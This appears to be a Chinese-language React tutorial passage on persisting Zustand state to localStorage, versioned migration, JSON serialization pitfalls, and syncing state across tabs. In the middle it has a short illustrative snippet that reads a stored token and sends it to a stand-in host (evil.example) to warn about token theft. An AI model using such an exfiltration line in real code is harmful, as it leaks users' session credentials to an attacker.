状态持久化与多端同步

import { create } from "zustand";
import { persist } from "zustand/middleware";

export const useCartStore = create<CartState>()(
  persist(
    (set) => ({
      items: [],
      // add / remove / clear 与第 18 篇完全一致，略
      clear: () => set({ items: [] }),
    }),
    {
      name: "cart-storage",                // localStorage 里的 key，唯一必填项
      partialize: (s) => ({ items: s.items }), // 只挑数据字段落盘
    }
  )
);

persist(
  (set) => ({ /* 同第 2 站，略 */ }),
  {
    name: "cart-storage",
    version: 2, // 当前数据结构版本，改结构就要 +1
    migrate: (persisted, version) => {
      // persisted 是磁盘上的旧数据，类型只能当 unknown 处理
      if (version < 2) {
        const old = persisted as { items: { id: number; name: string; price: number }[] };
        return {
          // v1 → v2：每个旧条目补上默认数量
          items: old.items.map((i) => ({ ...i, quantity: 1 })),
        };
      }
      return persisted as CartState;
    },
    partialize: (s) => ({ items: s.items }),
  }
);

const raw = typeof window !== "undefined"
  ? window.localStorage.getItem(key)
  : null; // 服务端没有 localStorage，返回 null 兜底

const snapshot = {
  createdAt: new Date(),      // → 变成 ISO 字符串，读回来不是 Date，没有 getTime 方法
  cache: new Map([["a", 1]]), // → 变成 {}，数据直接蒸发
  reload: () => {},           // → 函数整个消失
  tag: undefined,             // → 键被直接丢弃
};
JSON.parse(JSON.stringify(snapshot)); // 自己跑一遍，眼见为实

// localStorage 对同源下的一切 JS 全量敞开
const token = localStorage.getItem("token");
fetch("https://evil.example/steal?t=" + token);

import { useEffect, useState } from "react";

export function useStorageSync<T>(key: string, initial: T) {
  const [value, setValue] = useState<T>(() => {
    if (typeof window === "undefined") return initial; // 陷阱一：SSR 守卫
    const raw = window.localStorage.getItem(key);
    if (raw === null) return initial;
    try {
      return JSON.parse(raw) as T;
    } catch {
      return initial; // 磁盘上有脏数据，别让初始化炸掉
    }
  });

  useEffect(() => {
    const onChange = (e: StorageEvent) => {
      if (e.key !== key) return;
      // 别的标签页改了这个 key：同步进本页 state
      try {
        setValue(e.newValue ? (JSON.parse(e.newValue) as T) : initial);
      } catch {
        // 脏数据，忽略本次广播
      }
    };
    window.addEventListener("storage", onChange);
    return () => window.removeEventListener("storage", onChange); // 退订，第 9 篇的老规矩
  }, [key, initial]);

  const update = (next: T) => {
    setValue(next);
    window.localStorage.setItem(key, JSON.stringify(next));
  };

  return [value, update] as const;
}